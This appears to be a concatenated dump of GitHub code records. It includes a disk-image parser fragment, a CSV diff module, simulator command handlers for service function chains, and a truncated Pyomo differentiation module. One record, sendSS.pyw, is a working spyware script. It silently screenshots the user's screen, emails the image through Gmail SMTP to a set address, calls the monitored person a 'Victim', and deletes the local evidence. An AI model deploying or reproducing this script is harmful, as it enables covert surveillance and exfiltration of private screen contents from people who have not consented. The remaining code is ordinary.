argparser.add_argument('-d',\n \"--diskimage\", \n help=\"The Disk Image you want to parse\",\n required=True\n )\n return argparser.parse_args()\n\ndef main():\n args = get_args()\n MAX_SIG_LEN = 0\n for typ, sig in signature_headers.items():\n b_count = len(sig.split(\" \"))\n MAX_SIG_LEN = b_count if b_count > MAX_SIG_LEN else MAX_SIG_LEN\n disk_image = pathlib.Path(args.diskimage) \n if not disk_image.exists(): # looks for the provided disk image \n print(\"ERROR: could not find the provided file\")\n return 1\n parse(disk_image)\n\n\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"chharles/DD_Parser","sub_path":"parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11223522566","text":"import csv as csv\n\n\n\"\"\"csvdiff: Module for diffing CSV files.\"\"\"\n\n\ndef _build_diff_values():\n global DIF_COL_NAME\n for idx, row in enumerate(DIF_CSV):\n if idx > 0:\n DIF_VALUES.append(row[DIF_COL].strip().lower())\n else:\n DIF_COL_NAME = row[DIF_COL]\n\n\ndef _setup_env(**options):\n global SRC_CSV, DIF_CSV, OUT_CSV, SRC_COL, DIF_COL, DIF_VALUES, DIF_COL_NAME, DIF_TYPE\n\n SRC_CSV = csv.reader(options['input_csv'])\n DIF_CSV = csv.reader(options['diff_file'])\n OUT_CSV = csv.writer(options['out_file'])\n SRC_COL = options['source_col']\n DIF_COL = options['diff_col']\n DIF_TYPE = options['diff_type']\n\n DIF_VALUES = []\n DIF_COL_NAME = ''\n\n\ndef _validate_parameters(input_csv=None, out_file=None, diff_file=None, diff_type=None,\n source_col=None, diff_col=None):\n if input_csv is None:\n return False\n if out_file is None:\n return False\n if diff_file is None:\n return False\n if diff_type is None:\n return False\n if source_col is None:\n return False\n if diff_col is None:\n return False\n return True\n\n\ndef run(**options):\n if _validate_parameters(**options) is False:\n return\n _setup_env(**options)\n _build_diff_values()\n for idx, row in enumerate(SRC_CSV):\n if idx == 0:\n print('Comparing columns: {} {} {}'.format(\n row[SRC_COL], DIF_TYPE, DIF_COL_NAME\n ))\n OUT_CSV.writerow(row)\n continue\n if check_row(row):\n OUT_CSV.writerow(row)\n\n\ndef check_row(row):\n if DIF_TYPE == 'subtract':\n if row[SRC_COL].strip().lower() in DIF_VALUES:\n return False\n return True\n","repo_name":"Antman261/csvputty","sub_path":"csvputty/diff.py","file_name":"diff.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"1177193108","text":"# Libraries\r\nimport smtplib, ssl\r\nimport pyautogui\r\nimport socket\r\nimport time\r\nimport imghdr\r\nimport os\r\n\r\nfrom email.mime.text import MIMEText\r\nfrom email.utils import formataddr\r\n\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.base import MIMEBase\r\nfrom email import encoders\r\n\r\n# the screenshot part\r\nname = socket.gethostname()\r\ntime = time.strftime(\"%H-%M-%S\")\r\na = name + time\r\nmyScreenshot = pyautogui.screenshot()\r\nmyScreenshot.save(r'PATH_TO_DIRECTORY\\emails\\SS-'+a+'.png')\r\n\r\n# the email part\r\nsender_email = 'SENDER_EMAIL'\r\nreciever_email = 'RECIEVER_EMAIL'\r\npassword = 'EMAIL_PASSWORD'\r\nsubject = 'This email conatins Screenshot from Victims user because specific keyword was detected!'\r\n\r\nmsg = MIMEMultipart()\r\nmsg['From'] = sender_email\r\nmsg['To'] = reciever_email\r\nmsg['Subject'] = subject\r\n\r\nemail_body = 'This email was sent because someone ran the script somewhere and the script caught the Screenshot was send!'\r\nmsg.attach(MIMEText(email_body, 'plain'))\r\n\r\nfilename = 'SS-'+a+'.png' #storing the file to be sent\r\nattachment = open(filename, 'rb') #opening and reading the file to be sent as attachment\r\n\r\npart = MIMEBase('application','octet-stream')\r\npart.set_payload((attachment).read())\r\nencoders.encode_base64(part)\r\npart.add_header('Content-Disposition', \"attachment; filename= \" +filename)\r\n\r\nmsg.attach(part) #attaching the Screenshot as attachment\r\ntext = msg.as_string() #converting the text as string before sending\r\n\r\nprint('Sending the email...')\r\n\r\ntry:\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n context = ssl.create_default_context()\r\n server.starttls(context=context)\r\n server.login(sender_email, password)\r\n server.sendmail(sender_email, reciever_email, text)\r\n print('Email sent')\r\nexcept Exception as e:\r\n print(f'Oh no! Something bad happenedf!\\n{e}')\r\nfinally:\r\n print('Closing the server...')\r\n server.quit() #quitting the server after sending image\r\n \r\n# closing the opened file\r\nattachment.close()\r\n\r\n# removing the Screenshot from User's System\r\nos.remove(r'PATH_TO_DIRECTORY\\emails\\SS-'+a+'.png')\r\n","repo_name":"theabdullahasif/Python-Script-to-Monitor-Employees","sub_path":"sendSS.pyw","file_name":"sendSS.pyw","file_ext":"pyw","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"32515214288","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nimport random\nimport time\n\nfrom sam.base.command import Command, CMD_TYPE_ADD_SFC, CMD_TYPE_DEL_SFC, CMD_TYPE_ADD_SFCI, \\\n CMD_TYPE_DEL_SFCI, CMD_TYPE_GET_SERVER_SET, CMD_TYPE_GET_TOPOLOGY, CMD_TYPE_GET_FLOW_SET, CMD_TYPE_GET_SFCI_STATE, \\\n CMD_TYPE_GET_VNFI_STATE\nfrom sam.base.flow import Flow\nfrom sam.base.path import DIRECTION1_PATHID_OFFSET, DIRECTION0_PATHID_OFFSET\nfrom sam.base.server import Server, SERVER_TYPE_CLASSIFIER, SERVER_TYPE_NFVI\nfrom sam.base.sfc import SFC, SFCI\nfrom sam.base.switch import Switch, SWITCH_TYPE_DCNGATEWAY\nfrom sam.base.vnf import VNFI, VNF_TYPE_RATELIMITER\nfrom sam.simulator.simulatorInfoBaseMaintainer import SimulatorInfoBaseMaintainer\n\nhandlers = {}\n\n\ndef add_command_handler(cmd_type):\n def decorator(handler):\n handlers[cmd_type] = handler\n\n return decorator\n\n\ndef command_handler(cmd, sib):\n # type: (Command, SimulatorInfoBaseMaintainer) -> dict\n if cmd.cmdType not in handlers.keys():\n raise ValueError(\"Unknown command type.\")\n attributes = handlers[cmd.cmdType](cmd, sib)\n\n return attributes\n\n\ndef check_sfc(sfc, sib):\n directions = sfc.directions\n assert len(directions) in {1, 2}\n assert [direction['ID'] for direction in directions] == list(range(len(directions)))\n for direction in directions:\n for node in (direction['ingress'], direction['egress']):\n if isinstance(node, Server):\n nodeID = node.getServerID()\n assert nodeID in sib.servers and sib.servers[nodeID][\n 'server'].getServerType() == SERVER_TYPE_CLASSIFIER\n elif isinstance(node, Switch):\n nodeID = node.switchID\n assert node.programmable and node.switchType == SWITCH_TYPE_DCNGATEWAY\n assert nodeID in sib.switches and nodeID < len(sib.torPaths) / 2 # coreNum = torNum/2\n else:\n raise ValueError('ingress/egress node is neither server nor switch')\n\n\ndef remove_sfci(sfc, sfci, sib):\n directions = sfc.directions\n sfciID = sfci.sfciID\n vnfiSequence = sfci.vnfiSequence\n forwardingPathSet = sfci.forwardingPathSet\n primaryForwardingPath = forwardingPathSet.primaryForwardingPath\n # release resources\n # server core, switch tcam, switch nextHop, (server)link usedBy\n direction = directions[0] # [d for d in directions if d['ID']==0][0]\n dirID = 0\n pathlist = primaryForwardingPath[DIRECTION0_PATHID_OFFSET]\n for stage, path in enumerate(pathlist):\n if stage != len(pathlist) - 1: # dst is vnfi\n serverID = path[-1][1]\n assert serverID in sib.vnfis.keys()\n for i in range(len(sib.vnfis[serverID])):\n vnfi = sib.vnfis[serverID][i]\n if vnfi['sfciID'] == sfciID and vnfi['stage'] == stage and vnfi['vnfi'].vnfType == vnfiSequence[stage][\n 0].vnfType:\n sib.vnfis[serverID].pop(i)\n break\n else:\n raise ValueError('no vnfi to remove on server %d vnfType %d', serverID, vnfiSequence[stage][0].vnfType)\n for direction in directions:\n dirID = direction['ID']\n if dirID == 0:\n pathlist = primaryForwardingPath[DIRECTION0_PATHID_OFFSET]\n elif dirID == 1:\n pathlist = primaryForwardingPath[DIRECTION1_PATHID_OFFSET]\n for stage, path in enumerate(pathlist):\n for hop, (_, switchID) in enumerate(path):\n if switchID in sib.switches and hop < len(path) - 1: # switchID is a switch, not server\n switchInfo = sib.switches[switchID]\n switch = switchInfo['switch']\n if switch.tcamUsage <= 0:\n raise ValueError('no tcam to release on switch %d', switchID)\n switch.tcamUsage -= 1\n switchInfo['Status']['nextHop'].pop((sfciID, dirID, stage, hop))\n if hop != len(path) - 1:\n srcID = switchID\n dstID = path[hop + 1][1]\n if (srcID, dstID) in sib.serverLinks:\n linkInfo = sib.serverLinks[(srcID, dstID)]\n elif (srcID, dstID) in sib.links:\n linkInfo = sib.links[(srcID, dstID)]\n else:\n assert srcID == dstID\n continue\n linkInfo['Status']['usedBy'].remove((sfciID, dirID, stage, hop))\n # purge information\n for traffics in sib.sfcis[sfciID]['traffics'].values():\n for trafficID in traffics:\n sib.flows.pop(trafficID)\n sib.sfcis.pop(sfciID)\n\n\n@add_command_handler(CMD_TYPE_ADD_SFC)\ndef add_sfc_handler(cmd, sib):\n # type: (Command, SimulatorInfoBaseMaintainer) -> dict\n sfc = cmd.attributes['sfc'] # type: SFC\n sfcUUID = sfc.sfcUUID\n check_sfc(sfc, sib)\n sib.sfcs[sfcUUID] = {'sfc': sfc}\n\n return {}\n\n\n@add_command_handler(CMD_TYPE_ADD_SFCI)\ndef add_sfci_handler(cmd, sib):\n # type: (Command, SimulatorInfoBaseMaintainer) -> dict\n sfc = cmd.attributes['sfc'] # type: SFC\n sfcUUID = sfc.sfcUUID\n directions = sfc.directions\n check_sfc(sfc, sib)\n sfci = cmd.attributes['sfci'] # type: SFCI\n sfciID = sfci.sfciID\n vnfiSequence = sfci.vnfiSequence\n for vnfiSeqStage in vnfiSequence:\n assert len(vnfiSeqStage) == 1 # no backup\n vnfi = vnfiSeqStage[0] # type: VNFI\n vnfID = vnfi.vnfID\n vnfType = vnfi.vnfType\n vnfiID = vnfi.vnfiID\n node = vnfi.node\n if isinstance(node, Server):\n nodeID = node.getServerID()\n # print(\"server type {0}\".format(sib.servers[nodeID][\n # 'server'].getServerType()))\n assert nodeID in sib.servers and sib.servers[nodeID][\n 'server'].getServerType() == SERVER_TYPE_NFVI\n elif isinstance(node, Switch):\n nodeID = node.switchID\n assert node.programmable\n assert nodeID in sib.switches\n else:\n raise ValueError('vnfi node is neither server nor switch')\n forwardingPathSet = sfci.forwardingPathSet\n mappingType = forwardingPathSet.mappingType\n primaryForwardingPath = forwardingPathSet.primaryForwardingPath\n assert len(primaryForwardingPath) == len(directions)\n for direction in directions:\n dirID = direction['ID']\n if dirID == 0:\n pathlist = primaryForwardingPath[DIRECTION0_PATHID_OFFSET]\n elif dirID == 1:\n pathlist = primaryForwardingPath[DIRECTION1_PATHID_OFFSET]\n else:\n raise ValueError('unknown dirID')\n loopbacks = []\n for i, path in enumerate(pathlist):\n if len(path) == 2 and path[0][1] == path[1][1]:\n loopbacks.append(i)\n assert len(pathlist) == len(vnfiSequence) + 1\n ingress = direction['ingress']\n if isinstance(ingress, Server):\n ingressID = ingress.getServerID()\n assert ingressID == pathlist[0][0][1]\n assert (pathlist[0][0][1], pathlist[0][1][1]) in sib.serverLinks\n elif isinstance(ingress, Switch):\n ingressID = ingress.switchID\n assert ingressID == pathlist[0][0][1]\n assert (pathlist[0][0][1], pathlist[0][1][1]) in sib.links\n\n egress = direction['egress']\n if isinstance(egress, Server):\n egressID = egress.getServerID()\n assert egressID == pathlist[-1][-1][1]\n assert (pathlist[-1][-2][1], pathlist[-1][-1][1]) in sib.serverLinks\n elif isinstance(egress, Switch):\n egressID = egress.switchID\n assert egressID == pathlist[-1][-1][1]\n assert (pathlist[-1][-2][1], pathlist[-1][-1][1]) in sib.links\n\n for i, vnfiSeqStage in enumerate(vnfiSequence) if dirID == 0 else enumerate(reversed(vnfiSequence)):\n vnfi = vnfiSeqStage[0] # no backup\n node = vnfi.node\n if isinstance(node, Server):\n nodeID = node.getServerID()\n elif isinstance(node, Switch):\n nodeID = node.switchID\n assert pathlist[i][-1][1] == nodeID\n assert pathlist[i + 1][0][1] == nodeID\n # assert pathlist[i][-2][1] == pathlist[i + 1][1][1]\n if isinstance(node, Server):\n assert pathlist[i][-2][1] == pathlist[i][-1][1] or (\n pathlist[i][-2][1], pathlist[i][-1][1]) in sib.serverLinks\n assert pathlist[i + 1][0][1] == pathlist[i + 1][1][1] or (\n pathlist[i + 1][0][1], pathlist[i + 1][1][1]) in sib.serverLinks\n elif isinstance(node, Switch):\n assert pathlist[i][-2][1] == pathlist[i][-1][1] or (pathlist[i][-2][1], pathlist[i][-1][1]) in sib.links\n assert pathlist[i + 1][0][1] == pathlist[i + 1][1][1] or (\n pathlist[i + 1][0][1], pathlist[i + 1][1][1]) in sib.links\n for path in pathlist:\n for _, switchID in path[1:-1]:\n assert switchID in sib.switches\n for i in range(1, len(path) - 2):\n assert (path[i][1], path[i + 1][1]) in sib.links\n\n # check and assign resources\n # server core, switch tcam, switch nextHop, (server)link usedBy\n direction = directions[0] # [d for d in directions if d['ID']==0][0]\n dirID = 0\n pathlist = primaryForwardingPath[DIRECTION0_PATHID_OFFSET]\n for stage, path in enumerate(pathlist):\n if stage != len(pathlist) - 1: # dst is vnfi\n serverID = path[-1][1]\n vnfi = vnfiSequence[stage][0]\n sib.vnfis.setdefault(serverID, []).append({\n 'sfciID': sfciID,\n 'stage': stage,\n 'vnfi': vnfi,\n 'cpu': vnfi.maxCPUNum,\n 'mem': vnfi.maxMem,\n })\n for direction in directions:\n dirID = direction['ID']\n if dirID == 0:\n pathlist = primaryForwardingPath[DIRECTION0_PATHID_OFFSET]\n else:\n pathlist = primaryForwardingPath[DIRECTION1_PATHID_OFFSET]\n for stage, path in enumerate(pathlist):\n for hop, (_, switchID) in enumerate(path):\n if switchID in sib.switches and hop < len(path) - 1: # switchID is a switch, not server\n switchInfo = sib.switches[switchID]\n switch = switchInfo['switch']\n if switch.tcamUsage >= switch.tcamSize:\n raise ValueError('no tcam available on switch %d', switchID)\n switch.tcamUsage += 1\n switchInfo['Status']['nextHop'][(sfciID, dirID, stage, hop)] = path[hop + 1][1]\n if hop != len(path) - 1:\n srcID = switchID\n dstID = path[hop + 1][1]\n if (srcID, dstID) in sib.serverLinks:\n linkInfo = sib.serverLinks[(srcID, dstID)]\n elif (srcID, dstID) in sib.links:\n linkInfo = sib.links[(srcID, dstID)]\n else:\n assert srcID == dstID\n continue\n linkInfo['Status']['usedBy'].add((sfciID, dirID, stage, hop))\n # store information\n sib.sfcs[sfcUUID] = {'sfc': sfc}\n sib.sfcis[sfciID] = {'sfc': sfc, 'sfci': sfci,\n 'traffics': {direction['ID']: set() for direction in directions}}\n\n for direction in directions:\n dirID = direction['ID']\n if len(sib.flows) == 0:\n trafficID = 0\n else:\n trafficID = max(sib.flows.keys()) + 1\n bw = sfc.slo.throughput * 1024.0\n for vnfis in sfci.vnfiSequence:\n for vnfi in vnfis:\n if vnfi.vnfType == VNF_TYPE_RATELIMITER:\n bw = min(bw, vnfi.config.maxMbps)\n sib.flows[trafficID] = {'bw': (lambda: float(bw * random.random())), 'pkt_size': 500,\n 'sfciID': sfciID, 'dirID': dirID, 'traffic': 0, 'pkt': 0, 'timestamp': time.time(),\n 'del': False}\n sib.sfcis[sfciID]['traffics'][dirID].add(trafficID)\n\n return {}\n\n\n@add_command_handler(CMD_TYPE_DEL_SFCI)\ndef del_sfci_handler(cmd, sib):\n # type: (Command, SimulatorInfoBaseMaintainer) -> dict\n sfc = cmd.attributes['sfc']\n sfci = cmd.attributes['sfci']\n remove_sfci(sfc, sfci, sib)\n return {}\n\n\n@add_command_handler(CMD_TYPE_DEL_SFC)\ndef del_sfc_handler(cmd, sib):\n # type: (Command, SimulatorInfoBaseMaintainer) -> dict\n sfc = cmd.attributes['sfc'] # type: SFC\n sfcUUID = sfc.sfcUUID\n for sfciID, sfciInfo in sib.sfcis.items():\n if sfciInfo['sfc'].sfcUUID == sfcUUID:\n sfci = sfciInfo['sfci']\n remove_sfci(sfc, sfci, sib)\n sib.sfcs.pop(sfcUUID)\n return {}\n\n\n@add_command_handler(CMD_TYPE_GET_SERVER_SET)\ndef get_server_set_handler(cmd, sib):\n # type: (Command, SimulatorInfoBaseMaintainer) -> dict\n # format ref: SeverManager.serverSet, SeverManager._storeServerInfo\n sib.updateServerResource()\n result = {}\n for serverID, serverInfo in sib.servers.items():\n result[serverID] = {'server': serverInfo['server'], 'Active': serverInfo['Active'],\n 'timestamp': serverInfo['timestamp']}\n return {'servers': result}\n\n\n@add_command_handler(CMD_TYPE_GET_TOPOLOGY)\ndef get_topology_handler(cmd, sib):\n # type: (Command, SimulatorInfoBaseMaintainer) -> dict\n # see ryu/topoCollector.py -> TopoCollector.get_topology_handler\n sib.updateLinkUtilization()\n switches = {}\n for switchID, switchInfo in sib.switches.items():\n switches[switchID] = {'switch': switchInfo['switch'], 'Active': switchInfo['Active']}\n links = {}\n for (srcNodeID, dstNodeID), linkInfo in sib.links.items():\n links[(srcNodeID, dstNodeID)] = {'link': linkInfo['link'], 'Active': linkInfo['Active']}\n return {'switches': switches, 'links': links}\n\n\n# @add_commend_handler(CMD_TYPE_GET_SFCI_STATE)\n# def get_sfci_state_handler(cmd, sib):\n# # type: (Command, SimulatorInfoBaseMaintainer) -> dict\n# pass\n# # TODO\n\n@add_command_handler(CMD_TYPE_GET_FLOW_SET)\ndef get_flow_set_handler(cmd, sib):\n # type: (Command, SimulatorInfoBaseMaintainer) -> dict\n sib.updateLinkUtilization()\n result = []\n for sfciID, sfciInfo in sib.sfcis.items():\n sfci = sfciInfo['sfci']\n assert len(sfci.vnfiSequence) == 1 # can only handle single NF instances instead of chains\n sfc = sfciInfo['sfc']\n directions = sfc.directions\n traffics_by_dir = sfciInfo['traffics']\n\n if 0 in traffics_by_dir: # forward\n traffic_forward = list(traffics_by_dir[0])\n pathlist = sfci.forwardingPathSet.primaryForwardingPath[DIRECTION0_PATHID_OFFSET]\n path = pathlist[0]\n for i, (_, nodeID) in path:\n if nodeID in sib.servers and not sib.servers[nodeID]['Active']:\n traffic_forward = []\n elif nodeID in sib.switches and not sib.switches[nodeID]['Active']:\n traffic_forward = []\n if i == len(path) - 1:\n continue\n nextNodeID = path[i + 1][1]\n link = (nodeID, nextNodeID)\n if link in sib.serverLinks and not sib.serverLinks[link]['Active']:\n traffic_forward = []\n elif link in sib.links and not sib.links[link]['Active']:\n traffic_forward = []\n else:\n traffic_forward = []\n\n if 1 in traffics_by_dir: # backward\n traffic_backward = list(traffics_by_dir[1])\n pathlist = sfci.forwardingPathSet.primaryForwardingPath[DIRECTION1_PATHID_OFFSET]\n path = pathlist[0]\n for i, (_, nodeID) in path:\n if nodeID in sib.servers and not sib.servers[nodeID]['Active']:\n traffic_backward = []\n elif nodeID in sib.switches and not sib.switches[nodeID]['Active']:\n traffic_backward = []\n if i == len(path) - 1:\n continue\n nextNodeID = path[i + 1][1]\n link = (nodeID, nextNodeID)\n if link in sib.serverLinks and not sib.serverLinks[link]['Active']:\n traffic_backward = []\n elif link in sib.links and not sib.links[link]['Active']:\n traffic_backward = []\n else:\n traffic_backward = []\n\n if not traffic_forward and not traffic_backward: # no traffic on this sfci\n continue\n traffics = traffic_forward + traffic_backward\n assert len({sib.flows[trafficID]['pkt_size'] for trafficID in traffics}) == 1\n # target = NF(sfci.vnfiSequence[0][0].vnfType, sib.flows[traffics[0]]['pkt_size'],\n # 4000000) # no information about flow_count\n # serverID = sfci.vnfiSequence[0][0].node.getServerID()\n # switchID = sfci.forwardingPathSet.primaryForwardingPath[DIRECTION1_PATHID_OFFSET][0][-2][\n # 1] # last switch on path ingress->vnfi\n # serverInfo = sib.servers[serverID]\n # server = serverInfo['Server']\n # competitors = []\n # for coreID in server.getCoreNUMADistribution()[serverInfo['uplink2NUMA'][switchID]]:\n # if coreID in serverInfo['Status']['coreAssign'] and serverInfo['Status']['coreAssign'][coreID][:1] != (\n # sfciID, 0): # competitor core on the same NUMA node\n # c_sfciID = serverInfo['Status']['coreAssign'][coreID][0]\n # c_sfciInfo = sib.sfcis[c_sfciID]\n # c_sfci = c_sfciInfo['sfci']\n # c_sfc = c_sfciInfo['sfc']\n # c_directions = c_sfc.directions\n # c_traffics_by_dir = c_sfciInfo['traffics']\n # if 0 in c_traffics_by_dir: # forward\n # c_traffic_forward = list(c_traffics_by_dir[0])\n # c_pathlist = c_sfci.forwardingPathSet.primaryForwardingPath[DIRECTION0_PATHID_OFFSET]\n # c_path = c_pathlist[0]\n # for i, (_, nodeID) in c_path:\n # if i == 0 or i == len(c_path) - 1: # ingress server and vnfi server\n # if not sib.servers[nodeID]['Active']:\n # c_traffic_forward = []\n # else: # switch\n # if not sib.switches[nodeID]['Active']:\n # c_traffic_forward = []\n # if i == len(c_path) - 1:\n # pass\n # elif i == 0 or i == len(c_path) - 2: # server-switch link\n # if not sib.serverLinks[(nodeID, c_path[i + 1][1])]['Active']:\n # c_traffic_forward = []\n # else: # switch-switch link\n # if not sib.links[(nodeID, c_path[i + 1][1])]['Active']:\n # c_traffic_forward = []\n # else:\n # c_traffic_forward = []\n #\n # if 1 in c_traffics_by_dir: # backward\n # c_traffic_backward = list(c_traffics_by_dir[1])\n # c_pathlist = c_sfci.forwardingPathSet.primaryForwardingPath[DIRECTION1_PATHID_OFFSET]\n # c_path = c_pathlist[0]\n # for i, (_, nodeID) in c_path:\n # if i == 0 or i == len(c_path) - 1: # ingress server and vnfi server\n # if not sib.servers[nodeID]['Active']:\n # c_traffic_backward = []\n # else: # switch\n # if not sib.switches[nodeID]['Active']:\n # c_traffic_backward = []\n # if i == len(c_path) - 1:\n # pass\n # elif i == 0 or i == len(c_path) - 2: # server-switch link\n # if not sib.serverLinks[(nodeID, c_path[i + 1][1])]['Active']:\n # c_traffic_backward = []\n # else: # switch-switch link\n # if not sib.links[(nodeID, c_path[i + 1][1])]['Active']:\n # c_traffic_backward = []\n # else:\n # c_traffic_backward = []\n #\n # c_traffics = c_traffic_forward + c_traffic_backward\n # if c_traffics: # this competitor has traffic\n # competitors.append(NF(serverInfo['Status']['coreAssign'][coreID][2],\n # sib.flows[c_traffics[0]]['pkt_size'],\n # 4000000)) # no info about flow_count\n input_pps_list = [sib.flows[traffic]['bw']() * 1e6 / 8 / sib.flows[traffic]['pkt_size'] for\n traffic in traffics]\n input_pps = sum(input_pps_list)\n # response_ratio = min(predict(target, competitors) / input_pps, 1.0)\n response_ratio = min(1.0 / input_pps, 1.0)\n\n identifierDict = sfc.routingMorphic.getIdentifierDict()\n identifierDict['value'] = sfc.routingMorphic.encodeIdentifierForSFC(sfci.sfciID,\n sfci.vnfiSequence[0][0].vnfID)\n identifierDict['humanReadable'] = sfc.routingMorphic.value2HumanReadable(identifierDict['value'])\n\n for i, trafficID in enumerate(traffic_forward):\n pps_in = input_pps_list[i]\n result.append(\n Flow(identifierDict, pps_in / 1e6, pps_in / 1e6 * 8 * sib.flows[trafficID]['pkt_size']))\n for i, trafficID in enumerate(traffic_backward):\n pps_in = input_pps_list[i + len(traffic_forward)]\n result.append(\n Flow(identifierDict, pps_in / 1e6, pps_in / 1e6 * 8 * sib.flows[trafficID]['pkt_size']))\n\n no_traffic_fw = False\n if 0 in traffics_by_dir: # forward\n pathlist = sfci.forwardingPathSet.primaryForwardingPath[DIRECTION0_PATHID_OFFSET]\n path = pathlist[1]\n for i, (_, nodeID) in path:\n if nodeID in sib.servers and not sib.servers[nodeID]['Active']:\n no_traffic_fw = True\n elif nodeID in sib.switches and not sib.switches[nodeID]['Active']:\n no_traffic_fw = True\n if i == len(path) - 1:\n continue\n nextNodeID = path[i + 1][1]\n link = (nodeID, nextNodeID)\n if link in sib.serverLinks and not sib.serverLinks[link]['Active']:\n no_traffic_fw = True\n elif link in sib.links and not sib.links[link]['Active']:\n no_traffic_fw = True\n else:\n no_traffic_fw = True\n\n no_traffic_bw = False\n if 1 in traffics_by_dir: # backward\n pathlist = sfci.forwardingPathSet.primaryForwardingPath[DIRECTION1_PATHID_OFFSET]\n path = pathlist[1]\n for i, (_, nodeID) in path:\n if nodeID in sib.servers and not sib.servers[nodeID]['Active']:\n no_traffic_bw = True\n elif nodeID in sib.switches and not sib.switches[nodeID]['Active']:\n no_traffic_bw = True\n if i == len(path) - 1:\n continue\n nextNodeID = path[i + 1][1]\n link = (nodeID, nextNodeID)\n if link in sib.serverLinks and not sib.serverLinks[link]['Active']:\n no_traffic_bw = True\n elif link in sib.links and not sib.links[link]['Active']:\n no_traffic_bw = True\n else:\n no_traffic_bw = True\n\n if not no_traffic_fw:\n for i, trafficID in enumerate(traffic_forward):\n pps_in = input_pps_list[i]\n result.append(Flow(identifierDict, response_ratio * pps_in / 1e6,\n response_ratio * pps_in / 1e6 * 8 * sib.flows[trafficID]['pkt_size']))\n if not no_traffic_bw:\n for i, trafficID in enumerate(traffic_backward):\n pps_in = input_pps_list[i + len(traffic_forward)]\n result.append(Flow(identifierDict, response_ratio * pps_in / 1e6,\n response_ratio * pps_in / 1e6 * 8 * sib.flows[trafficID]['pkt_size']))\n\n return {'flows': result}\n\n\n@add_command_handler(CMD_TYPE_GET_SFCI_STATE)\ndef get_sfci_state(cmd, sib):\n # type: (Command, SimulatorInfoBaseMaintainer) -> dict\n sib.updateLinkUtilization()\n result = {}\n for sfciID, sfci in sib.sfcis.items():\n result[sfciID] = sfci['sfci']\n return {'sfcisDict': result}\n\n\n@add_command_handler(CMD_TYPE_GET_VNFI_STATE)\ndef get_vnfi_state(cmd, sib):\n # type: (Command, SimulatorInfoBaseMaintainer) -> dict\n sib.updateLinkUtilization()\n result = {}\n for vnfis in sib.vnfis.values():\n for vnfiDict in vnfis:\n vnfi = vnfiDict['vnfi']\n result[vnfi.vnfiID] = {\n 'vnfType': vnfi.vnfType,\n \"rateLimitition\": 1,\n \"FWRulesNum\": 2,\n \"FlowStatisticsDict\": {\n \"1.1.1.1\": 100, # unit: Mbps\n \"2.2.2.2\": 50 # 生成这些数据即可,仅用于演示\n }\n }\n return {'vnfisStateDict': result}\n","repo_name":"magaboomchen/SelfAdaptiveMano","sub_path":"sam/simulator/command_handler.py","file_name":"command_handler.py","file_ext":"py","file_size_in_byte":25675,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"29699631551","text":"from six import StringIO\nimport pyutilib.misc\nfrom pyomo import core\nfrom pyomo.core.expr import current as EXPR\nfrom pyomo.core.expr import native_types\nfrom pyomo.common import DeveloperError\nfrom pyomo.core.expr.numvalue import value\n\n_sympy_available = True\ntry:\n import sympy\n\n def _prod(*x):\n ans = x[0]\n for i in x[1:]:\n ans *= i\n return ans\n\n def _sum(*x):\n return sum(x_ for x_ in x)\n\n def _nondifferentiable(*x):\n raise NondifferentiableError(\n \"The sub-expression '%s' is not differentiable with respect to %s\"\n % (x[0],x[1]) )\n\n _operatorMap = {\n sympy.Add: _sum,\n sympy.Mul: _prod,\n sympy.Pow: lambda x, y: x**y,\n sympy.exp: lambda x: core.exp(x),\n sympy.log: lambda x: core.log(x),\n sympy.sin: lambda x: core.sin(x),\n sympy.asin: lambda x: core.asin(x),\n sympy.sinh: lambda x: core.sinh(x),\n sympy.asinh: lambda x: core.asinh(x),\n sympy.cos: lambda x: core.cos(x),\n sympy.acos: lambda x: core.acos(x),\n sympy.cosh: lambda x: core.cosh(x),\n sympy.acosh: lambda x: core.acosh(x),\n sympy.tan: lambda x: core.tan(x),\n sympy.atan: lambda x: core.atan(x),\n sympy.tanh: lambda x: core.tanh(x),\n sympy.atanh: lambda x: core.atanh(x),\n sympy.ceiling: lambda x: core.ceil(x),\n sympy.floor: lambda x: core.floor(x),\n sympy.Derivative: _nondifferentiable,\n }\n\n _functionMap = {\n 'exp': sympy.exp,\n 'log': sympy.log,\n 'log10': lambda x: sympy.log(x)/sympy.log(10),\n 'sin': sympy.sin,\n 'asin': sympy.asin,\n 'sinh': sympy.sinh,\n 'asinh': sympy.asinh,\n 'cos': sympy.cos,\n 'acos': sympy.acos,\n 'cosh': sympy.cosh,\n 'acosh': sympy.acosh,\n 'tan': sympy.tan,\n 'atan': sympy.atan,\n 'tanh': sympy.tanh,\n 'atanh': sympy.atanh,\n 'ceil': sympy.ceiling,\n 'floor': sympy.floor,\n }\nexcept ImportError: #pragma:nocover\n _sympy_available = False\n\n# A \"public\" attribute indicating that differentiate() can be called\n# ... this provides a bit of future-proofing for alternative approaches\n# to symbolic differentiation.\ndifferentiate_available = _sympy_available\n\nclass NondifferentiableError(ValueError):\n \"\"\"A Pyomo-specific ValueError raised for non-differentiable expressions\"\"\"\n pass\n\n\ndef differentiate(expr, wrt=None, wrt_list=None):\n \"\"\"Return derivative of expression.\n\n This function returns an expression or list of expression objects\n corresponding to the derivative of the passed expression 'expr' with\n respect to a variable 'wrt' or list of variables 'wrt_list'\n\n Args:\n expr (Expression): Pyomo expression\n wrt (Var): Pyomo variable\n wrt_list (list): list of Pyomo variables\n\n Returns:\n Expression or list of Expression objects\n\n \"\"\"\n if not _sympy_available:\n raise RuntimeError(\n \"The sympy module is not available. \"\n \"Cannot perform automatic symbolic differentiation.\")\n if not (( wrt is None ) ^ ( wrt_list is None )):\n raise ValueError(\n \"differentiate(): Must specify exactly one of wrt and wrt_list\")\n #\n # Setup the WRT list\n #\n if wrt is not None:\n wrt_list = [ wrt ]\n else:\n # Copy the list because we will normalize things in place below\n wrt_list = list(wrt_list)\n #\n # Setup mapping dictionaries\n #\n pyomo_vars = 